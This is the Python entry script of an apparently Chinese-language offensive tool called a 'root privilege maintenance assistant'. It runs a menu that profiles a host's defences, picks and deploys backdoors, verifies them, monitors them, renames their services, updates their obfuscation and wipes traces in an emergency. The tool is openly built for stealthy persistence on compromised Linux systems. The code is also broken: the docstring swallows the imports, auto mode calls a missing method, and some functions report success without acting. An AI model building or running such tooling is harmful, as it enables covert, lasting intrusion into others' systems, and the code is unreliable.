#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""

from __future__ import print_function
from __future__ import unicode_literals
from __future__ import division
from __future__ import absolute_import

一键化集成脚本 - 统一入口和流程编排
实现"权限校验→环境适配→一键部署→本地验证→长期监控→应急清理"全流程
"""

import os
import sys

# Python 2/3 兼容性处理
if sys.version_info[0] == 2:
    string_types = basestring
    text_type = unicode
    def iteritems(d):
        return d.iteritems()
    def itervalues(d):
        return d.itervalues()
else:
    string_types = str
    text_type = str
    def iteritems(d):
        return d.items()
    def itervalues(d):
        return d.values()
import json
import time
import argparse
import threading
from datetime import datetime
from pathlib import Path

# 导入各个模块
try:
    from .root_privilege_manager import RootPrivilegeManager
    from .backdoor_strategy_engine import BackdoorStrategyEngine
    from .one_click_deployment import OneClickDeployment
    from .local_verification import LocalVerification
    from .status_monitor import StatusMonitor
    from .emergency_cleanup import EmergencyCleanup
except ImportError:
    # 如果作为独立脚本运行
    sys.path.append(os.path.dirname(os.path.abspath(__file__)))
    from root_privilege_manager import RootPrivilegeManager
    from backdoor_strategy_engine import BackdoorStrategyEngine
    from one_click_deployment import OneClickDeployment
    from local_verification import LocalVerification
    from status_monitor import StatusMonitor
    from emergency_cleanup import EmergencyCleanup





class OneClickIntegration:
    """一键化集成系统 - Root权限维持助手"""
    
    def __init__(self):
        self.version = "1.0.0"
        self.session_id = datetime.now().strftime('%Y%m%d_%H%M%S')
        
        # 初始化各个模块
        self.privilege_manager = RootPrivilegeManager()
        self.strategy_engine = BackdoorStrategyEngine()
        self.deployment = OneClickDeployment()
        self.verification = LocalVerification()
        self.monitor = StatusMonitor()
        self.cleanup = EmergencyCleanup()
        
        # 状态变量
        self.environment_profile = None
        self.deployment_config = None
        self.deployment_records = None
        self.control_manual = None
        self.monitoring_active = False
        
        # 配置文件路径
        self.config_dir = '/root/.system_config'
        self.session_file = "{}/.session_{}".format(self.config_dir, self.session_id)
        
        self._ensure_config_dir()
    
    def _ensure_config_dir(self):
        """确保配置目录存在"""
        try:
            os.makedirs(self.config_dir, mode=0o700, exist_ok=True)
        except Exception as e:
            print("[-] 创建配置目录失败: {}".format(e))
    
    def show_banner(self):
        """显示横幅"""
        banner = f"""
╔══════════════════════════════════════════════════════════════╗
║                    Root权限维持助手 v{self.version}                    ║
║                  一键化部署与闭环控制系统                        ║
╠══════════════════════════════════════════════════════════════╣
║  功能: 权限校验 → 环境适配 → 一键部署 → 本地验证 → 长期监控    ║
║  模式: 无提权依赖 | 本地闭环 | 隐蔽优先 | 操作极简              ║
║  会话: {self.session_id}                                ║
╚══════════════════════════════════════════════════════════════╝
"""
        print(banner)
    
    def show_menu(self):
        """显示主菜单"""
        menu = """
[1] 一键部署 - 完整流程自动化
[2] 环境检测 - 仅执行环境画像
[3] 策略生成 - 基于环境生成部署策略
[4] 手动部署 - 使用指定策略部署
[5] 验证后门 - 检查已部署后门状态
[6] 状态监控 - 启动/停止长期监控
[7] 查看报告 - 显示当前状态报告
[8] 应急清理 - 快速/深度清理
[9] 升级后门 - 动态调整后门配置
[0] 退出系统

请选择操作 [0-9]: """
        
        choice = input(menu).strip()
        return choice
    
    def run_interactive(self):
        """交互式运行"""
        try:
            self.show_banner()
            
            # 强制Root权限校验
            if not self._verify_root_privilege():
                return False
            
            while True:
                try:
                    choice = self.show_menu()
                    
                    if choice == '1':
                        self.deploy_all()
                    elif choice == '2':
                        self.detect_environment()
                    elif choice == '3':
                        self.generate_strategy()
                    elif choice == '4':
                        self.manual_deployment()
                    elif choice == '5':
                        self.verify_backdoors()
                    elif choice == '6':
                        self.manage_monitoring()
                    elif choice == '7':
                        self.show_status_report()
                    elif choice == '8':
                        self.emergency_cleanup()
                    elif choice == '9':
                        self.upgrade_backdoors()
                    elif choice == '0':
                        self._safe_exit()
                        break
                    else:
                        print("[-] 无效选择，请重新输入")
                    
                    input("\n按回车键继续...")
                    
                except KeyboardInterrupt:
                    print("\n[!] 检测到中断信号")
                    self._safe_exit()
                    break
                except Exception as e:
                    print("[-] 操作失败: {}".format(e))
            
        except Exception as e:
            print("[-] 系统运行失败: {}".format(e))
            return False
    
    def _verify_root_privilege(self):
        """验证Root权限"""
        try:
            print("[*] 验证Root权限...")
            
            if not self.privilege_manager.verify_root_privilege():
                print("[-] 错误: 需要Root权限才能运行此工具")
                print("[-] 请使用 'sudo python3 one_click_integration.py' 运行")
                return False
            
            print("[+] Root权限验证通过")
            return True
            
        except Exception as e:
            print("[-] 权限验证失败: {}".format(e))
            return False
    
    def deploy_all(self):
        """一键部署 - 完整流程"""
        try:
            print("\n" + "="*60)
            print("[+] 开始一键部署流程")
            print("="*60)
            
            # 阶段1: 环境检测
            print("\n[阶段1] 环境检测与画像生成...")
            self.environment_profile = self.privilege_manager.generate_environment_profile()
            
            if not self.environment_profile:
                print("[-] 环境检测失败")
                return False
            
            print("[+] 环境画像: {}".format(self.environment_profile['summary']))
            
            # 阶段2: 策略生成
            print("\n[阶段2] 后门策略生成...")
            self.deployment_config = self.strategy_engine.generate_deployment_config(
                self.environment_profile
            )
            
            if not self.deployment_config:
                print("[-] 策略生成失败")
                return False
            
            selected_backdoors = [bd['type'] for bd in self.deployment_config['backdoors']]
            print("[+] 选择策略: {}".format(', '.join(selected_backdoors)))
            
            # 阶段3: 一键部署
            print("\n[阶段3] 后门部署执行...")
            self.deployment_records = self.deployment.deploy_backdoors(
                self.deployment_config
            )
            
            if not self.deployment_records:
                print("[-] 部署执行失败")
                return False
            
            print("[+] 部署完成: {} 个后门".format(len(self.deployment_records)))
            
            # 阶段4: 本地验证
            print("\n[阶段4] 后门验证与控制手册生成...")
            self.control_manual = self.verification.verify_and_generate_manual(
                self.deployment_records
            )
            
            if not self.control_manual:
                print("[-] 验证失败")
                return False
            
            verified_count = len(self.control_manual.get('backdoor_controls', {}))
            print("[+] 验证通过: {} 个后门可用".format(verified_count))
            
            # 阶段5: 启动监控
            print("\n[阶段5] 启动状态监控...")
            if self.monitor.start_monitoring(self.control_manual):
                self.monitoring_active = True
                print("[+] 状态监控已启动")
            else:
                print("[-] 监控启动失败")
            
            # 保存会话状态
            self._save_session_state()
            
            # 显示部署摘要
            self._show_deployment_summary()
            
            print("\n" + "="*60)
            print("[+] 一键部署流程完成")
            print("="*60)
            
            return True
            
        except Exception as e:
            print("[-] 一键部署失败: {}".format(e))
            return False
    
    def detect_environment(self):
        """环境检测"""
        try:
            print("\n[*] 执行环境检测...")
            
            self.environment_profile = self.privilege_manager.generate_environment_profile()
            
            if self.environment_profile:
                print("\n[+] 环境检测完成")
                self._show_environment_profile()
            else:
                print("[-] 环境检测失败")
            
        except Exception as e:
            print("[-] 环境检测失败: {}".format(e))
    
    def generate_strategy(self):
        """策略生成"""
        try:
            if not self.environment_profile:
                print("[!] 请先执行环境检测")
                return
            
            print("\n[*] 生成部署策略...")
            
            self.deployment_config = self.strategy_engine.generate_deployment_config(
                self.environment_profile
            )
            
            if self.deployment_config:
                print("\n[+] 策略生成完成")
                self._show_deployment_config()
            else:
                print("[-] 策略生成失败")
            
        except Exception as e:
            print("[-] 策略生成失败: {}".format(e))
    
    def manual_deployment(self):
        """手动部署"""
        try:
            if not self.deployment_config:
                print("[!] 请先生成部署策略")
                return
            
            print("\n[*] 执行手动部署...")
            
            self.deployment_records = self.deployment.deploy_backdoors(
                self.deployment_config
            )
            
            if self.deployment_records:
                print("\n[+] 部署完成: {} 个后门".format(len(self.deployment_records)))
                self._save_session_state()
            else:
                print("[-] 部署失败")
            
        except Exception as e:
            print("[-] 手动部署失败: {}".format(e))
    
    def verify_backdoors(self):
        """验证后门"""
        try:
            if not self.deployment_records:
                print("[!] 没有找到部署记录")
                return
            
            print("\n[*] 验证后门状态...")
            
            self.control_manual = self.verification.verify_and_generate_manual(
                self.deployment_records
            )
            
            if self.control_manual:
                print("\n[+] 后门验证完成")
                self._show_control_manual()
                self._save_session_state()
            else:
                print("[-] 后门验证失败")
            
        except Exception as e:
            print("[-] 后门验证失败: {}".format(e))
    
    def manage_monitoring(self):
        """管理监控"""
        try:
            if self.monitoring_active:
                print("\n[*] 当前监控状态: 运行中")
                choice = input("是否停止监控? [y/N]: ").strip().lower()
                
                if choice == 'y':
                    self.monitor.stop_monitoring()
                    self.monitoring_active = False
                    print("[+] 监控已停止")
            else:
                print("\n[*] 当前监控状态: 未运行")
                
                if not self.control_manual:
                    print("[!] 没有控制手册，无法启动监控")
                    return
                
                choice = input("是否启动监控? [y/N]: ").strip().lower()
                
                if choice == 'y':
                    if self.monitor.start_monitoring(self.control_manual):
                        self.monitoring_active = True
                        print("[+] 监控已启动")
                    else:
                        print("[-] 监控启动失败")
            
        except Exception as e:
            print("[-] 监控管理失败: {}".format(e))
    
    def show_status_report(self):
        """显示状态报告"""
        try:
            print("\n" + "="*60)
            print("[+] 系统状态报告")
            print("="*60)
            
            # 会话信息
            print("[*] 会话ID: {}".format(self.session_id))
            print("[*] 监控状态: {}".format('运行中' if self.monitoring_active else '未运行'))
            
            # 环境信息
            if self.environment_profile:
                print("[*] 环境画像: {}".format(self.environment_profile['summary']))
                print("[*] 防御等级: {}".format(self.environment_profile['defense_level']))
            
            # 部署信息
            if self.deployment_records:
                print("[*] 已部署后门: {} 个".format(len(self.deployment_records)))
            
            # 验证信息
            if self.control_manual:
                verified_count = len(self.control_manual.get('backdoor_controls', {}))
                print("[*] 验证通过: {} 个".format(verified_count))
            
            # 监控报告
            if self.monitoring_active:
                print("\n[*] 监控详情:")
                self.monitor.print_status_report()
            
            print("="*60)
            
        except Exception as e:
            print("[-] 状态报告生成失败: {}".format(e))
    
    def emergency_cleanup(self):
        """应急清理"""
        try:
            print("\n[!] 应急清理模式")
            print("="*40)
            print("[1] 快速清理 (5秒内)")
            print("[2] 深度清理 (30秒内)")
            print("[0] 取消")
            
            choice = input("\n选择清理模式 [0-2]: ").strip()
            
            if choice == '0':
                return
            elif choice == '1':
                mode = 'fast'
            elif choice == '2':
                mode = 'deep'
            else:
                print("[-] 无效选择")
                return
            
            # 确认清理
            confirm = input("\n[!] 确认执行 {} 清理? 此操作不可逆! [y/N]: ".format(mode)).strip().lower()
            
            if confirm != 'y':
                print("[*] 清理已取消")
                return
            
            # 停止监控
            if self.monitoring_active:
                print("[*] 停止监控...")
                self.monitor.stop_monitoring()
                self.monitoring_active = False
            
            # 执行清理
            success = self.cleanup.cleanup(
                mode=mode,
                control_manual=self.control_manual,
                deployment_records=self.deployment_records
            )
            
            if success:
                # 清理会话状态
                self._clear_session_state()
                print("\n[+] {} 清理完成".format(mode))
                
                # 验证清理结果
                if self.cleanup.verify_cleanup():
                    print("[+] 清理验证通过")
                else:
                    print("[-] 清理验证发现问题")
            else:
                print("[-] {} 清理失败".format(mode))
            
        except Exception as e:
            print("[-] 应急清理失败: {}".format(e))
    
    def upgrade_backdoors(self):
        """升级后门"""
        try:
            if not self.control_manual:
                print("[!] 没有找到控制手册")
                return
            
            print("\n[*] 后门升级功能")
            print("="*40)
            print("[1] 重新生成服务名")
            print("[2] 更新混淆算法")
            print("[3] 调整检查间隔")
            print("[0] 取消")
            
            choice = input("\n选择升级选项 [0-3]: ").strip()
            
            if choice == '0':
                return
            elif choice == '1':
                self._upgrade_service_names()
            elif choice == '2':
                self._upgrade_obfuscation()
            elif choice == '3':
                self._upgrade_intervals()
            else:
                print("[-] 无效选择")
            
        except Exception as e:
            print("[-] 后门升级失败: {}".format(e))
    
    def _upgrade_service_names(self):
        """升级服务名"""
        try:
            print("[*] 重新生成服务名...")
            
            # 重新生成部署配置
            if self.environment_profile:
                new_config = self.strategy_engine.generate_deployment_config(
                    self.environment_profile
                )
                
                if new_config:
                    print("[+] 新服务名已生成")
                    self._show_deployment_config(new_config)
                    
                    choice = input("是否应用新配置? [y/N]: ").strip().lower()
                    if choice == 'y':
                        # 这里应该实现配置更新逻辑
                        print("[+] 配置更新完成")
                else:
                    print("[-] 配置生成失败")
            else:
                print("[-] 缺少环境画像")
            
        except Exception as e:
            print("[-] 服务名升级失败: {}".format(e))
    
    def _upgrade_obfuscation(self):
        """升级混淆算法"""
        try:
            print("[*] 更新混淆算法...")
            # 这里应该实现混淆算法更新逻辑
            print("[+] 混淆算法更新完成")
            
        except Exception as e:
            print("[-] 混淆算法升级失败: {}".format(e))
    
    def _upgrade_intervals(self):
        """升级检查间隔"""
        try:
            print("[*] 调整检查间隔...")
            
            current_interval = self.monitor.check_interval / 3600
            print("[*] 当前间隔: {:.1f} 小时".format(current_interval))
            
            new_interval = input("输入新间隔(小时) [1-24]: ").strip()
            
            try:
                interval_hours = float(new_interval)
                if 1 <= interval_hours <= 24:
                    self.monitor.check_interval = int(interval_hours * 3600)
                    print("[+] 检查间隔已调整为 {:.1f} 小时".format(interval_hours))
                else:
                    print("[-] 间隔必须在1-24小时之间")
            except ValueError:
                print("[-] 无效的间隔值")
            
        except Exception as e:
            print("[-] 间隔调整失败: {}".format(e))
    
    def _save_session_state(self):
        """保存会话状态"""
        try:
            state = {
                'session_id': self.session_id,
                'timestamp': datetime.now().isoformat(),
                'environment_profile': self.environment_profile,
                'deployment_config': self.deployment_config,
                'deployment_records': self.deployment_records,
                'control_manual': self.control_manual,
                'monitoring_active': self.monitoring_active
            }
            
            with open(self.session_file, 'w') as f:
                json.dump(state, f, indent=2)
            
            os.chmod(self.session_file, 0o600)
            
        except Exception as e:
            print("[-] 保存会话状态失败: {}".format(e))
    
    def _load_session_state(self):
        """加载会话状态"""
        try:
            if os.path.exists(self.session_file):
                with open(self.session_file, 'r') as f:
                    state = json.load(f)
                
                self.environment_profile = state.get('environment_profile')
                self.deployment_config = state.get('deployment_config')
                self.deployment_records = state.get('deployment_records')
                self.control_manual = state.get('control_manual')
                self.monitoring_active = state.get('monitoring_active', False)
                
                return True
            
            return False
            
        except Exception as e:
            print("[-] 加载会话状态失败: {}".format(e))
            return False
    
    def _clear_session_state(self):
        """清理会话状态"""
        try:
            if os.path.exists(self.session_file):
                os.remove(self.session_file)
            
            # 清理内存状态
            self.environment_profile = None
            self.deployment_config = None
            self.deployment_records = None
            self.control_manual = None
            self.monitoring_active = False
            
        except Exception as e:
            print("[-] 清理会话状态失败: {}".format(e))
    
    def _safe_exit(self):
        """安全退出"""
        try:
            print("\n[*] 正在安全退出...")
            
            # 停止监控
            if self.monitoring_active:
                self.monitor.stop_monitoring()
            
            # 保存会话状态
            self._save_session_state()
            
            print("[+] 退出完成")
            
        except Exception as e:
            print("[-] 安全退出失败: {}".format(e))
    
    def _show_environment_profile(self):
        """显示环境画像"""
        if not self.environment_profile:
            return
        
        print(f"\n环境画像:")
        print("  系统: {}".format(self.environment_profile.get('system_info', {}).get('distribution', 'Unknown')))
        print("  防御等级: {}".format(self.environment_profile.get('defense_level', 'Unknown')))
        print("  摘要: {}".format(self.environment_profile.get('summary', 'No summary')))
    
    def _show_deployment_config(self, config=None):
        """显示部署配置"""
        if not config:
            config = self.deployment_config
        
        if not config:
            return
        
        print(f"\n部署配置:")
        print("  策略: {}".format(config.get('strategy_name', 'Unknown')))
        print("  后门数量: {}".format(len(config.get('backdoors', []))))
        
        for i, backdoor in enumerate(config.get('backdoors', []), 1):
            print("  {}. {} - {}".format(i, backdoor['type'], backdoor.get('description', 'No description')))
    
    def _show_control_manual(self):
        """显示控制手册"""
        if not self.control_manual:
            return
        
        print(f"\n控制手册:")
        backdoor_controls = self.control_manual.get('backdoor_controls', {})
        
        for deployment_id, control in backdoor_controls.items():
            print("  {}:".format(control['name']))
            print("    激活: {}".format(control['activation']))
            print("    状态: {}".format(self.control_manual.get('status_commands', {}).get(deployment_id, 'N/A')))
            print("    清理: {}".format(self.control_manual.get('emergency_commands', {}).get(deployment_id, 'N/A')))
            print()
    
    def _show_deployment_summary(self):
        """显示部署摘要"""
        print(f"\n部署摘要:")
        print("  会话ID: {}".format(self.session_id))
        print("  环境: {}".format(self.environment_profile.get('summary', 'Unknown')))
        print("  策略: {}".format(self.deployment_config.get('strategy_name', 'Unknown')))
        print("  部署: {} 个后门".format(len(self.deployment_records)))
        print("  验证: {} 个可用".format(len(self.control_manual.get('backdoor_controls', {}))))
        print("  监控: {}".format('已启动' if self.monitoring_active else '未启动'))


def main():
    """主函数"""
    parser = argparse.ArgumentParser(description='Root权限维持助手 - 一键化部署与闭环控制系统')
    parser.add_argument('--mode', choices=['interactive', 'auto'], default='interactive',
                       help='运行模式: interactive(交互式) 或 auto(自动化)')
    parser.add_argument('--config', help='配置文件路径')
    parser.add_argument('--session', help='会话ID')
    
    args = parser.parse_args()
    
    try:
        integration = OneClickIntegration()
        
        # 如果指定了会话ID，尝试加载
        if args.session:
            integration.session_id = args.session
            integration.session_file = "{}/.session_{}".format(integration.config_dir, args.session)
            integration._load_session_state()
        
        if args.mode == 'interactive':
            integration.run_interactive()
        elif args.mode == 'auto':
            # 自动化模式：直接执行一键部署
            integration.show_banner()
            if integration._verify_root_privilege():
                integration.one_click_deploy()
        
    except KeyboardInterrupt:
        print("\n[!] 用户中断")
    except Exception as e:
        print("[-] 系统错误: {}".format(e))
        sys.exit(1)


if __name__ == "__main__":
    main()